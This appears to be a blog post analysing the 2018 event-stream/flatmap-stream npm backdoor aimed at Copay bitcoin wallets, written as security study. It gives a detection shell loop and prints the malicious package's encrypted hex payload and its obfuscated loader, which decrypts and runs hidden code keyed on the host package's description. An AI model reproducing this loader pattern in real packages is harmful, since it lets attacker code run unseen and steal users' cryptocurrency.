On November 11th, 2018, at the “event-stream” repository there was a nickname FallingSnow saying that:
“ Am I affected?:
If you are using anything crypto-currency related, then maybe. As discovered by @maths22, the target seems to have been identified as copay related libraries. It only executes successfully when a matching package is in use (assumed to be copay at this point). If you are using a crypto-currency related library and if you see flatmap-stream@0.1.1 after running npm ls event-stream flatmap-stream, you are most likely affected. For example:
$ npm ls event-stream flatmap-stream
...
flatmap-stream@0.1.1
…
“ - Readmore (I recommend you to read the whole story said by him)
In my opinion, this is a really interesting "story" in blockchain security and hacking world in general. Backdoor?, this words is extremely attractive, and me myself always want to learn more about how attackers in the wild hiding their backdoor or make it persistently stay in the system.
If backdoor is a thing in Security, then how to hide them is an Art.
Therefore, me and my coworker decided to dive right into it in order to see what the backdoor looks like and how that guy(s) could hide them for years
II - Detection method
Go to your repo and run these 2 command lines:
for i in `find /home/isysadmin/app-prod -maxdepth 2 -type d| grep node_modules`; do cd $i; pwd;npm ls|egrep "event-stream|flatmap-stream"; done
2 extensions have been installed event-stream version 3.3.6 and flatmap-stream version 0.1.2
console.log(process["env"]["npm_package_description"]) = 'A Secure Bitcoin Wallet'. This is a secret key to encrypt the malicious code
III - Reversing
Cat this file by using: cat node_modules/flatmap-stream/test/data.js
["75d4c87f3f69e0fa292969072c49dff4f90f44c1385d8eb60dae4cc3a229e52cf61f78b0822353b4304e323ad563bc22c98421eb6a8c1917e30277f716452ee8d57f9838e00f0c4e4ebd7818653f00e72888a4031676d8e2a80ca3cb00a7396ae3d140135d97c6db00cab172cbf9a92d0b9fb0f73ff2ee4d38c7f6f4b30990f2c97ef39ae6ac6c828f5892dd8457ab530a519cd236ebd51e1703bcfca8f9441c2664903af7e527c420d9263f4af58ccb5843187aa0da1cbb4b6aedfd1bdc6faf32f38a885628612660af8630597969125c917dfc512c53453c96c143a2a058ba91bc37e265b44c5874e594caaf53961c82904a95f1dd33b94e4dd1d00e9878f66dafc55fa6f2f77ec7e7e8fe28e4f959eab4707557b263ec74b2764033cd343199eeb6140a6284cb009a09b143dce784c2cd40dc320777deea6fbdf183f787fa7dd3ce2139999343b488a4f5bcf3743eecf0d30928727025ff3549808f7f711c9f7614148cf43c8aa7ce9b3fcc1cff4bb0df75cb2021d0f4afe5784fa80fed245ee3f0911762fffbc36951a78457b94629f067c1f12927cdf97699656f4a2c4429f1279c4ebacde10fa7a6f5c44b14bc88322a3f06bb0847f0456e630888e5b6c3f2b8f8489cd6bc082c8063eb03dd665badaf2a020f1448f3ae268c8d176e1d80cc756dc3fa02204e7a2f74b9da97f95644792ee87f1471b4c0d735589fc58b5c98fb21c8a8db551b90ce60d88e3f756cc6c8c4094aeaa12b149463a612ea5ea5425e43f223eb8071d7b991cfdf4ed59a96ccbe5bdb373d8febd00f8c7effa57f06116d850c2d9892582724b3585f1d71de83d54797a0bfceeb4670982232800a9b695d824a7ada3d41e568ecaa6629","XXXXX","63727970746f","656e76","6e706d5f7061636b6167655f6465736372697074696f6e","616573323536","6372656174654465636970686572","5f636f6d70696c65","686578","75746638"]; - Full here
We will see an array named module.exports contains few components. Each components has it ows purposes.
And there is a piece of codes use those afore values . Use cat index.min.js to view the code.
var Stream = require("stream").Stream;
module.exports = function(e, n) {
var i = new Stream,
a = 0,
o = 0,
u = !1,
f = !1,
l = !1,
c = 0,
s = !1,
d = (n = n || {}).failures ? "failure" : "error",
m = {};
function w(r, e) {
var t = c + 1;
if (e === t ? (void 0 !== r && i.emit.apply(i, ["data", r]), c++, t++) : m[e] = r, m.hasOwnProperty(t)) {
var n = m[t];
return delete m[t], w(n, t)
}
a === ++o && (f && (f = !1, i.emit("drain")), u && v())
}
function p(r, e, t) {
l || (s = !0, r && !n.failures || w(e, t), r && i.emit.apply(i, [d, r]), s = !1)
}
function b(r, t, n) {
return e.call(null, r, function(r, e) {
n(r, e, t)
})
}
function v(r) {
if (u = !0, i.writable = !1, void 0 !== r) return w(r, a);
a == o && (i.readable = !1, i.emit("end"), i.destroy())
}
return i.writable = !0, i.readable = !0, i.write = function(r) {
if (u) throw new Error("flatmap stream is not writable");
s = !1;
try {
for (var e in r) {
a++;
var t = b(r[e], a, p);
if (f = !1 === t) break
}
return !f
} catch (r) {
if (s) throw r;
return p(r), !f
}
}, i.end = function(r) {
u || v(r)
}, i.destroy = function() {
u = l = !0, i.writable = i.readable = f = !1, process.nextTick(function() {
i.emit("close")
})
}, i.pause = function() {
f = !0
}, i.resume = function() {
f = !1
}, i
};
! function() {
try {
var r = require,
t = process;
function e(r) {
return Buffer.from(r, "hex").toString()
}
var n = r(e("2e2f746573742f64617461")),
o = t[e(n[3])][e(n[4])];
if (!o) return;
var u = r(e(n[2]))[e(n[6])](e(n[5]), o),
a = u.update(n[0], e(n[8]), e(n[9]));
a += u.final(e(n[9]));
var f = new module.constructor;
f.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1])
} catch (r) {}
}();
root @inf - prod - eth7 - jp: /home/isysadmin / ibl - core - eth - insight - api / node_modules / flatmap - stream#
This guy was using code obfuscation to blind 2 millions download-ers. So what did he do?
In that messy code, just this function is used:
var r = require,
t = process
function e(r) {
return Buffer.from(r, "hex").toString()
}
var n = r(e("2e2f746573742f64617461")),
o = t[e(n[3])][e(n[4])];
if (!o) return
var u = r(e(n[2]))[e(n[6])](e(n[5]), o),
a = u.update(n[0], e(n[8]), e(n[9]));
a += u.final(e(n[9]));
var f = new module.constructor;
f.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1])
}
catch (r) {}
}()
This object: data = r(e("2e2f746573742f64617461"))